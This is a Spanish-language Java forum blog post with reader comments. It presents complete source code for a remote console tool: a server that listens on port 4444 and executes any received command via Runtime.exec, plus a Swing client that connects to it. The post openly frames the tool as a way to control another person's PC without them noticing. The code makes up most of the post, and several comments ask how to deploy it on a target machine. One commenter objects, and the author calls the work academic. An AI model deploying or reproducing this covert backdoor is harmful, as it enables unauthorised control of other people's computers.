style="display:inline-block;width:728px;height:90px"
data-ad-client="ca-pub-5164839828746352"
data-ad-slot="7563230308">

Controlando una PC modo consola

Controlando una PC modo Consola
Ha sido difícil para nosotros esto días actualizar el blog, pero aquí estamos, llenos de ideas, hoy veremos como  obtener la consola de otro pc, podremos hacer casi cualquier cosa en la otra pc, sin que la otra persona se de cuenta de que estamos controlando el pc.
Podremos ejecutar programas, ver configuraciones de ip, estado de las conexiones del otro pc, etc.



Código

Servidor

Clase Principal

package clases;

import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;

public class Principal {
 
 public Principal(){
  try {
   ServerSocket server=new ServerSocket(4444);
   System.out.println("Escuchando...");
   while(true){
    Socket cliente=server.accept();
    HiloManejador hm=new HiloManejador(cliente);
    hm.start();
   }
  } catch (IOException e) {
   // TODO Auto-generated catch block
   e.printStackTrace();
  }
 
 }
 
 public static void main(String arg[]){
  Principal p=new Principal();
 }

}

Clase HiloManejador

package clases;

import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.Socket;

public class HiloManejador extends Thread{
 
 Socket cliente;
 DataInputStream dis;
 DataOutputStream dos;
 Process p;
 
 public HiloManejador(Socket s){
  cliente=s;
 }
 
 public void run(){
  System.out.println("Cliente conectado");
  while(true){
   try {
    dis = new DataInputStream(cliente.getInputStream());
    dos= new DataOutputStream(cliente.getOutputStream());
    p=Runtime.getRuntime().exec(""+dis.readUTF());
    BufferedReader s=new BufferedReader(new InputStreamReader(p.getInputStream()));
             String x=s.readLine();
             String todo="";
             while(x!=null){
              System.out.println(x);
              todo+=x+"\n";
              x=s.readLine();
             }
             dos.writeUTF(""+todo);
   } catch (IOException e) {
    try {
     cliente.close();
    } catch (IOException e1) {
     // TODO Auto-generated catch block
     e1.printStackTrace();
    }
   }
  }
 }

}

Cliente

Clase Principal

package clases;

import java.awt.BorderLayout;
import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.net.UnknownHostException;

import javax.swing.*;

public class Principal extends JFrame{
 
 JTextArea txt;
 Socket s;
 JTextField consulta;
 
 public Principal(){
 
  consulta=new JTextField();
  txt=new JTextArea();
  consulta.addKeyListener(new KeyListener(){

   @Override
   public void keyPressed(KeyEvent e) {
    if(e.getKeyCode()==KeyEvent.VK_ENTER){
     DataOutputStream dos;
     DataInputStream dis;
     try {
      dos = new DataOutputStream(s.getOutputStream());
      dis=new DataInputStream(s.getInputStream());
      dos.writeUTF(consulta.getText());
      txt.append(""+dis.readUTF()+"\n"+"-------------------------------------------------------");
     } catch (IOException ex) {
      // TODO Auto-generated catch block
      ex.printStackTrace();
     }
    }
   }

   @Override
   public void keyReleased(KeyEvent arg0) {
    // TODO Auto-generated method stub
   
   }

   @Override
   public void keyTyped(KeyEvent arg0) {
    // TODO Auto-generated method stub
   
   }
   
  });
  try {
   s=new Socket("192.168.195.128",4444);
  } catch (UnknownHostException e) {
   // TODO Auto-generated catch block
   e.printStackTrace();
  } catch (IOException e) {
   // TODO Auto-generated catch block
   e.printStackTrace();
  }
 
  add(consulta,BorderLayout.NORTH);
  add(new JScrollPane(txt));
 }
 
 public static void main(String arg[]){
  Principal p=new Principal();
  p.setVisible(true);
  p.setBounds(0, 0, 300, 200);
  p.setDefaultCloseOperation(EXIT_ON_CLOSE);
 }

}

Descarga

Todo el proyecto lo pueden descargar desde aquí, se incluyen los archivos fuentes, las imágenes, y los ejecutables para que ensayen, recuerden deben cambiar la ip, yo use una de mi maquina virtual.

Comentarios

Opciones de visualización de comentarios

Seleccione la forma que prefiera para mostrar los comentarios y haga clic en «Guardar las opciones» para activar los cambios.
Imagen de Jose Manuel

No promuevas el cracking

No promuevas el cracking...al menos coloca una leyenda tipo "es con fines puramente educativos e ilustrativos"
Luego se va a llenar el foro de lammers...
Utiliza las etiquetas para el código.
Ademas piensa en los que no entienden el código. ¿Tiene documentación? Por lo demás me parece que podrías cambiar el propósito de tus programas. Utilizar tus habilidades para otros fines...pero bueno. Saludos y buenas vibras :D

Aclaracion

Jose Manuel, gracias por recordarme lo de la etiqueta code, se me olvido XD, y aclaro que TODO LO QUE SE HACE EN MI BLOG, TANTO ESTE ESPACIO EN JAVA MEXICO COMO EN MI BLOG JAVA ZONE, ES ESTRICTAMENTE ACADEMICO, ademas esto no solo se puede usar para atacar, tambien para soporte, o solo para aprender, esto solo es un paso, un ladrillo, para aplicaciones mucho mas robustas.

Saludos a todos, Visitenos en Java Zone.

pregunta

solo para clarificar, ¿en la maquina remota deben estar las instancias de la clase servidor y de Hilomanejador y en la local debe estar la instancia de la clase cliente vdd?

Muy bueno el aporte

Muy bueno el aporte para aprender una pregunta queria saber si solo funciona con windows xp lo probe con xp y seven y no me funciono que puedo estar haciendo mal?

Saludos a la comunidad desde Bolivia

Imagen de neko069

Asistencia ....

@gnu.java.sergio Si necesitas asistencia, postea el stacktrace del error, igual el autor o alguien de la comunidad te puede orientar..

Aclaraciones y explicaciones

Bueno, respondiendo primero a pedrozalejandro, hay dos proyectos, los dos hechos en eclipse, el proyecto del servidor tiene dos clases, la clase principal que siempre esta a la escucha del cliente o clientes y la clase hilomanejador que se encarga personalmente por decirlo asi de atender a un cliente, cada vez que se conecta un cliente se crea una instancia de la clase hilomanejador para que atienda exclusivamente a ese cliente. Y el otro proyecto esta solo la clase principal que se conecta al servidor.

El proyecto servidor es el que se ejecuta en el pc que vamos a controlar.

Y ahora respondiendo a gnu.java.sergio tecnicamente deberia funcionar el proyecto servidor en cualquier windows, pero el proyecto cliente si deberia funcionar en cualquier sistema operativo.

Osea podrias controlar un pc windows desde linux o mac.

y seria bueno seguir la recomendacion de neko069, podrias publicar el stacktrace del error para saber que es exactamente tu error.

pregunta

hola como puedo descargar el archivo

style="display:inline-block;width:728px;height:90px"
data-ad-client="ca-pub-5164839828746352"
data-ad-slot="7563230308">